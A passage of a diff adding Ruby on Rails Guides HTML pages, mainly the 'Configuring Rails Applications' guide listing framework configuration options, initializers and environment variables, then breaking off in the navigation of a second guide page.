+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Configuring Rails Applications</h2>
+<p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Adjust the behavior of your Rails applications</li>
+	<li>Add additional code to be run at application start time</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#locations-for-initialization-code">Locations for Initialization Code</a></li><li><a href="#running-code-before-rails">Running Code Before Rails</a></li><li><a href="#configuring-rails-components">Configuring Rails Components</a><ul><li><a href="#rails-general-configuration">Rails General Configuration</a></li> <li><a href="#configuring-i18n">Configuring i18n</a></li> <li><a href="#configuring-active-record">Configuring Active Record</a></li> <li><a href="#configuring-action-controller">Configuring Action Controller</a></li> <li><a href="#configuring-action-view">Configuring Action View</a></li> <li><a href="#configuring-action-mailer">Configuring Action Mailer</a></li> <li><a href="#configuring-active-resource">Configuring Active Resource</a></li> <li><a href="#configuring-active-support">Configuring Active Support</a></li></ul></li><li><a href="#using-initializers">Using Initializers</a></li><li><a href="#using-an-after-initializer">Using an After-Initializer</a></li><li><a href="#rails-environment-settings">Rails Environment Settings</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="locations-for-initialization-code">1 Locations for Initialization Code</h3>
+<p>Rails offers (at least) four good spots to place initialization code:</p>
+<ul>
+	<li>application.rb</li>
+	<li>Environment-specific Configuration Files</li>
+	<li>Initializers (load_application_initializers)</li>
+	<li>After-Initializers</li>
+</ul>
+<h3 id="running-code-before-rails">2 Running Code Before Rails</h3>
+<p>To run some code before Rails itself is loaded, simply put it above the call to
+<tt>require 'rails/all'</tt> in your <tt>application.rb</tt>.</p>
+<h3 id="configuring-rails-components">3 Configuring Rails Components</h3>
+<p>In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The <tt>application.rb</tt> and environment-specific configuration files (such as <tt>config/environments/production.rb</tt>) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 <tt>application.rb</tt> file includes one setting:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.filter_parameters &lt;&lt; :password
+</pre>
+</div>
+</notextile>
+
+<p>This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same <tt>config</tt> object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.active_record.timestamped_migrations = false
+</pre>
+</div>
+</notextile>
+
+<p>Rails will use that particular setting to configure Active Record.</p>
+<h4 id="rails-general-configuration">3.1 Rails General Configuration</h4>
+<ul>
+	<li><tt>config.routes_configuration_file</tt> overrides the default path for the routes configuration file. This defaults to <tt>config/routes.rb</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.cache_classes</tt> controls whether or not application classes should be reloaded on each request.</li>
+</ul>
+<ul>
+	<li><tt>config.cache_store</tt> configures which cache store to use for Rails caching. Options include <tt>:memory_store</tt>, <tt>:file_store</tt>, <tt>:mem_cache_store</tt> or the name of your own custom class.</li>
+</ul>
+<ul>
+	<li><tt>config.colorize_logging</tt> (true by default) specifies whether or not to use <span class="caps">ANSI</span> color codes when logging information.</li>
+</ul>
+<ul>
+	<li><tt>config.controller_paths</tt> accepts an array of paths that will be searched for controllers. Defaults to <tt>app/controllers</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.database_configuration_file</tt> overrides the default path for the database configuration file. Default to <tt>config/database.yml</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.dependency_loading</tt> enables or disables dependency loading during the request cycle. Setting dependency_loading to <em>true</em> will allow new classes to be loaded during a request and setting it to <em>false</em> will disable this behavior.</li>
+</ul>
+<ul>
+	<li><tt>config.eager_load_paths</tt> accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. All elements of this array must also be in <tt>load_paths</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.load_once_paths</tt> accepts an array of paths from which Rails will automatically load from only once. All elements of this array must also be in <tt>load_paths</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.load_paths</tt> accepts an array of additional paths to prepend to the load path. By default, all app, lib, vendor and mock paths are included in this list.</li>
+</ul>
+<ul>
+	<li><tt>config.log_level</tt> defines the verbosity of the Rails logger. In production mode, this defaults to <tt>:info</tt>. In development mode, it defaults to <tt>:debug</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.log_path</tt> overrides the path to the log file to use. Defaults to <tt>log/#{environment}.log</tt> (e.g. log/development.log or log/production.log).</li>
+</ul>
+<ul>
+	<li><tt>config.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.</li>
+</ul>
+<ul>
+	<li><tt>config.plugin_loader</tt> overrides the class that handles loading each plugin. Defaults to <tt>Rails::Plugin::Loader</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.plugin_locators</tt> overrides the class that handle finding the desired plugins that youโ€˜d like to load for your application. By default it is the <tt>Rails::Plugin::FileSystemLocator</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.plugin_paths</tt> overrides the path to the root of the plugins directory. Defaults to <tt>vendor/plugins</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.plugins</tt> accepts the list of plugins to load. If this is set to nil, all plugins will be loaded. If this is set to [], no plugins will be loaded. Otherwise, plugins will be loaded in the order specified.</li>
+</ul>
+<ul>
+	<li><tt>config.preload_frameworks</tt> enables or disables preloading all frameworks at startup.</li>
+</ul>
+<ul>
+	<li><tt>config.reload_plugins</tt> enables or disables plugin reloading.</li>
+</ul>
+<ul>
+	<li><tt>config.root_path</tt> configures the root path of the application.</li>
+</ul>
+<ul>
+	<li><tt>config.time_zone</tt> sets the default time zone for the application and enables time zone awareness for Active Record.</li>
+</ul>
+<ul>
+	<li><tt>config.view_path</tt> sets the path of the root of an application&#8217;s views. Defaults to <tt>app/views</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.whiny_nils</tt> enables or disabled warnings when an methods of nil are invoked. Defaults to <em>false</em>.</li>
+</ul>
+<h4 id="configuring-i18n">3.2 Configuring i18n</h4>
+<ul>
+	<li><tt>config.i18n.default_locale</tt> sets the default locale of an application used for i18n. Defaults to <tt>:en</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.i18n.load_path</tt> sets the path Rails uses to look for locale files. Defaults to <tt>config/locales/*.{yml,rb}</tt></li>
+</ul>
+<h4 id="configuring-active-record">3.3 Configuring Active Record</h4>
+<p><tt>config.active_record</tt> includes a variety of configuration options:</p>
+<ul>
+	<li><tt>config.active_record.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling <tt>logger</tt> on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.primary_key_prefix_type</tt> lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named <tt>id</tt> (and this configuration option doesn&#8217;t need to be set.) There are two other choices:
+	<ul>
+		<li><tt>:table_name</tt> would make the primary key for the Customer class <tt>customerid</tt></li>
+		<li><tt>:table_name_with_underscore</tt> would make the primary key for the Customer class <tt>customer_id</tt></li>
+	</ul></li>
+</ul>
+<ul>
+	<li><tt>config.active_record.table_name_prefix</tt> lets you set a global string to be prepended to table names. If you set this to <tt>northwest_</tt>, then the Customer class will look for <tt>northwest_customers</tt> as its table. The default is an empty string.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.table_name_suffix</tt> lets you set a global string to be appended to table names. If you set this to <tt>_northwest</tt>, then the Customer class will look for <tt>customers_northwest</tt> as its table. The default is an empty string.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.pluralize_table_names</tt> specifies whether Rails will look for singular or plural table names in the database. If set to <tt>true</tt> (the default), then the Customer class will use the <tt>customers</tt> table. If set to <tt>false</tt>, then the Customers class will use the <tt>customer</tt> table.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.default_timezone</tt> determines whether to use <tt>Time.local</tt> (if set to <tt>:local</tt>) or <tt>Time.utc</tt> (if set to <tt>:utc</tt>) when pulling dates and times from the database. The default is <tt>:local</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.schema_format</tt> controls the format for dumping the database schema to a file. The options are <tt>:ruby</tt> (the default) for a database-independent version that depends on migrations, or <tt>:sql</tt> for a set of (potentially database-dependent) <span class="caps">SQL</span> statements.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.timestamped_migrations</tt> controls whether migrations are numbered with serial integers or with timestamps. The default is <tt>true</tt>, to use timestamps, which are preferred if there are multiple developers working on the same application.</li>
+</ul>
+<ul>
+	<li><tt>config.active_record.lock_optimistically</tt> controls whether ActiveRecord will use optimistic locking. By default this is <tt>true</tt>.</li>
+</ul>
+<p>The MySQL adapter adds one additional configuration option:</p>
+<ul>
+	<li><tt>ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans</tt> controls whether ActiveRecord will consider all <tt>tinyint(1)</tt> columns in a MySQL database to be booleans. By default this is <tt>true</tt>.</li>
+</ul>
+<p>The schema dumper adds one additional configuration option:</p>
+<ul>
+	<li><tt>ActiveRecord::SchemaDumper.ignore_tables</tt> accepts an array of tables that should <em>not</em> be included in any generated schema file. This setting is ignored unless <tt>config.active_record.schema_format == :ruby</tt>.</li>
+</ul>
+<h4 id="configuring-action-controller">3.4 Configuring Action Controller</h4>
+<p><tt>config.action_controller</tt> includes a number of configuration settings:</p>
+<ul>
+	<li><tt>config.action_controller.asset_host</tt> provides a string that is prepended to all of the <span class="caps">URL</span>-generating helpers in <tt>AssetHelper</tt>. This is designed to allow moving all javascript, <span class="caps">CSS</span>, and image files to a separate asset host.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.asset_path</tt> allows you to override the default asset path generation by providing your own instructions.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.consider_all_requests_local</tt> is generally set to <tt>true</tt> during development and <tt>false</tt> during production; if it is set to <tt>true</tt>, then any error will cause detailed debugging information to be dumped in the <span class="caps">HTTP</span> response. For finer-grained control, set this to <tt>false</tt> and implement <tt>local_request?</tt> to specify which requests should provide debugging information on errors.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.allow_concurrency</tt> should be set to <tt>true</tt> to allow concurrent (threadsafe) action processing. Set to <tt>false</tt> by default. You probably don&#8217;t want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call <tt>config.threadsafe!</tt> inside your <tt>production.rb</tt> file, which makes all the necessary adjustments.</li>
+</ul>
+<div class='warning'><p>Threadsafe operation is incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call <tt>config.threadsafe!</tt>.</p></div>
+<ul>
+	<li><tt>config.action_controller.param_parsers</tt> provides an array of handlers that can extract information from incoming <span class="caps">HTTP</span> requests and add it to the <tt>params</tt> hash. By default, parsers for multipart forms, <span class="caps">URL</span>-encoded forms, <span class="caps">XML</span>, and <span class="caps">JSON</span> are active.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.default_charset</tt> specifies the default character set for all renders. The default is &#8220;utf-8&#8221;.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.resource_action_separator</tt> gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is &#8220;/&#8221;.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.resource_path_names</tt> is a hash of default names for several RESTful actions. By default, the new action is named <tt>new</tt> and the edit action is named <tt>edit</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.request_forgery_protection_token</tt> sets the token parameter name for RequestForgery. Calling <tt>protect_from_forgery</tt> sets it to <tt>:authenticity_token</tt> by default.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.optimise_named_routes</tt> turns on some optimizations in generating the routing table. It is set to <tt>true</tt> by default.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.use_accept_header</tt> sets the rules for determining the response format. If this is set to <tt>true</tt> (the default) then <tt>respond_to</tt> and <tt>Request#format</tt> will take the Accept header into account. If it is set to false then the request format will be determined solely by examining <tt>params[:format]</tt>. If there is no <tt>format</tt> parameter, then the response format will be either <span class="caps">HTML</span> or Javascript depending on whether the request is an <span class="caps">AJAX</span> request.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.allow_forgery_protection</tt> enables or disables <span class="caps">CSRF</span> protection. By default this is <tt>false</tt> in test mode and <tt>true</tt> in all other modes.</li>
+</ul>
+<ul>
+	<li><tt>config.action_controller.relative_url_root</tt> can be used to tell Rails that you are deploying to a subdirectory. The default is <tt>ENV['RAILS_RELATIVE_URL_ROOT']</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_dispatch.session_store</tt> sets the name of the store for session data. The default is <tt>:cookie_store</tt>; other valid options include <tt>:active_record_store</tt>, <tt>:mem_cache_store</tt> or the name of your own custom class.</li>
+</ul>
+<p>The caching code adds two additional settings:</p>
+<ul>
+	<li><tt>ActionController::Base.page_cache_directory</tt> sets the directory where Rails will create cached pages for your web server. The default is <tt>Rails.public_path</tt> (which is usually set to <tt>Rails.root </tt> &#8220;/public&#8221;+).</li>
+</ul>
+<ul>
+	<li><tt>ActionController::Base.page_cache_extension</tt> sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is <tt>.html</tt>.</li>
+</ul>
+<p>The Active Record session store can also be configured:</p>
+<ul>
+	<li><tt>ActiveRecord::SessionStore::Session.table_name</tt> sets the name of the table used to store sessions. Defaults to <tt>sessions</tt>.</li>
+</ul>
+<ul>
+	<li><tt>ActiveRecord::SessionStore::Session.primary_key</tt> sets the name of the ID column used in the sessions table. Defaults to <tt>session_id</tt>.</li>
+</ul>
+<ul>
+	<li><tt>ActiveRecord::SessionStore::Session.data_column_name</tt> sets the name of the column which stores marshaled session data. Defaults to <tt>data</tt>.</li>
+</ul>
+<h4 id="configuring-action-view">3.5 Configuring Action View</h4>
+<p>There are only a few configuration options for Action View, starting with four on <tt>ActionView::Base</tt>:</p>
+<ul>
+	<li><tt>config.action_view.debug_rjs</tt> specifies whether <span class="caps">RJS</span> responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is <tt>false</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_view.warn_cache_misses</tt> tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is <tt>false</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_view.field_error_proc</tt> provides an <span class="caps">HTML</span> generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| <span>Q(</span>&lt;div class=&quot;field_with_errors&quot;&gt;#{html_tag}&lt;/div&gt;).html_safe }</tt></li>
+</ul>
+<ul>
+	<li><tt>config.action_view.default_form_builder</tt> tells Rails which form builder to use by default. The default is <tt>ActionView::Helpers::FormBuilder</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_view.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.</li>
+</ul>
+<ul>
+	<li><tt>config.action_view.erb_trim_mode</tt> gives the trim mode to be used by <span class="caps">ERB</span>. It defaults to <tt>'-'</tt>. See the <a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/"><span class="caps">ERB</span> documentation</a> for more information.</li>
+</ul>
+<h4 id="configuring-action-mailer">3.6 Configuring Action Mailer</h4>
+<p>There are a number of settings available on <tt>config.action_mailer</tt>:</p>
+<ul>
+	<li><tt>config.action_mailer.template_root</tt> gives the root folder for Action Mailer templates.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.smtp_settings</tt> allows detailed configuration for the <tt>:smtp</tt> delivery method. It accepts a hash of options, which can include any of these options:
+	<ul>
+		<li><tt>:address</tt> &#8211; Allows you to use a remote mail server. Just change it from its default &#8220;localhost&#8221; setting.</li>
+		<li><tt>:port</tt> &#8211; On the off chance that your mail server doesn&#8217;t run on port 25, you can change it.</li>
+		<li><tt>:domain</tt> &#8211; If you need to specify a <span class="caps">HELO</span> domain, you can do it here.</li>
+		<li><tt>:user_name</tt> &#8211; If your mail server requires authentication, set the username in this setting.</li>
+		<li><tt>:password</tt> &#8211; If your mail server requires authentication, set the password in this setting.</li>
+		<li><tt>:authentication</tt> &#8211; If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li>
+	</ul></li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.sendmail_settings</tt> allows detailed configuration for the <tt>sendmail</tt> delivery method. It accepts a hash of options, which can include any of these options:
+	<ul>
+		<li><tt>:location</tt> &#8211; The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li>
+		<li><tt>:arguments</tt> &#8211; The command line arguments. Defaults to <tt>-i -t</tt>.</li>
+	</ul></li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.raise_delivery_errors</tt> specifies whether to raise an error if email delivery cannot be completed. It defaults to <tt>true</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.delivery_method</tt> defines the delivery method. The allowed values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.perform_deliveries</tt> specifies whether mail will actually be delivered. By default this is <tt>true</tt>; it can be convenient to set it to <tt>false</tt> for testing.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.default_charset</tt> tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to <tt>utf-8</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.default_content_type</tt> specifies the default content type used for the main part of the message. It defaults to &#8220;text/plain&#8221;</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.default_mime_version</tt> is the default <span class="caps">MIME</span> version for the message. It defaults to <tt>1.0</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.action_mailer.default_implicit_parts_order</tt> &#8211; When a message is built implicitly (i.e. multiple parts are assembled from templates
+which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to <tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
+and appear last in the mime encoded message.</li>
+</ul>
+<h4 id="configuring-active-resource">3.7 Configuring Active Resource</h4>
+<p>There is a single configuration setting available on <tt>config.active_resource</tt>:</p>
+<ul>
+	<li><tt>config.active_resource.logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.</li>
+</ul>
+<h4 id="configuring-active-support">3.8 Configuring Active Support</h4>
+<p>There are a few configuration options available in Active Support:</p>
+<ul>
+	<li><tt>config.active_support.escape_html_entities_in_json</tt> enables or disables the escaping of <span class="caps">HTML</span> entities in <span class="caps">JSON</span> serialization. Defaults to <tt>true</tt>.</li>
+</ul>
+<ul>
+	<li><tt>config.active_support.use_standard_json_time_format</tt> enables or disables serializing dates to <span class="caps">ISO</span> 8601 format. Defaults to <tt>false</tt>.</li>
+</ul>
+<ul>
+	<li><tt>ActiveSupport::BufferedLogger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</li>
+</ul>
+<ul>
+	<li><tt>ActiveSupport::Cache::Store.logger</tt> specifies the logger to use within cache store operations.</li>
+</ul>
+<ul>
+	<li><tt>ActiveSupport::Logger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</li>
+</ul>
+<h3 id="using-initializers">4 Using Initializers</h3>
+<p>After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of Ruby code stored under <tt>config/initializers</tt> in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.</p>
+<div class='note'><p>You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the <tt>initializers</tt> folder on down.</p></div>
+<div class='info'><p>If you have any ordering dependency in your initializers, you can control the load order by naming. For example, <tt>01_critical.rb</tt> will be loaded before <tt>02_normal.rb</tt>.</p></div>
+<h3 id="using-an-after-initializer">5 Using an After-Initializer</h3>
+<p>After-initializers are run (as you might guess) after any initializers are loaded. You can supply an <tt>after_initialize</tt> block (or an array of such blocks) by setting up <tt>config.after_initialize</tt> in any of the Rails configuration files:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.after_initialize do
+  SomeClass.init
+end
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Some parts of your application, notably observers and routing, are not yet set up at the point where the <tt>after_initialize</tt> block is called.</p></div>
+<h3 id="rails-environment-settings">6 Rails Environment Settings</h3>
+<p>Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:</p>
+<ul>
+	<li><tt>ENV['RAILS_ENV']</tt> defines the Rails environment (production, development, test, and so on) that Rails will run under.</li>
+</ul>
+<ul>
+	<li><tt>ENV['RAILS_RELATIVE_URL_ROOT']</tt> is used by the routing code to recognize URLs when you deploy your application to a subdirectory.</li>
+</ul>
+<ul>
+	<li><tt>ENV["RAILS_ASSET_ID"]</tt> will override the default cache-busting timestamps that Rails generates for downloadable assets.</li>
+</ul>
+<ul>
+	<li><tt>ENV["RAILS_CACHE_ID"]</tt> and <tt>ENV["RAILS_APP_VERSION"]</tt> are used to generate expanded cache keys in Rails&#8217; caching code. This allows you to have multiple separate caches from the same application.</li>
+</ul>
+<ul>
+	<li><tt>ENV['RAILS_GEM_VERSION']</tt> defines the version of the Rails gems to use, if <tt>RAILS_GEM_VERSION</tt> is not defined in your <tt>environment.rb</tt> file.</li>
+</ul>
+<h3 id="changelog">7 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p>
+<ul>
+	<li>August 13, 2009: Updated with config syntax and added general configuration options by &#8220;John Pignata&#8221;</li>
+	<li>January 3, 2009: First reasonably complete draft by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>November 5, 2008: Rough outline by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/contribute.html
@@ -0,0 +1,192 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Contribute to the Rails Guides</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
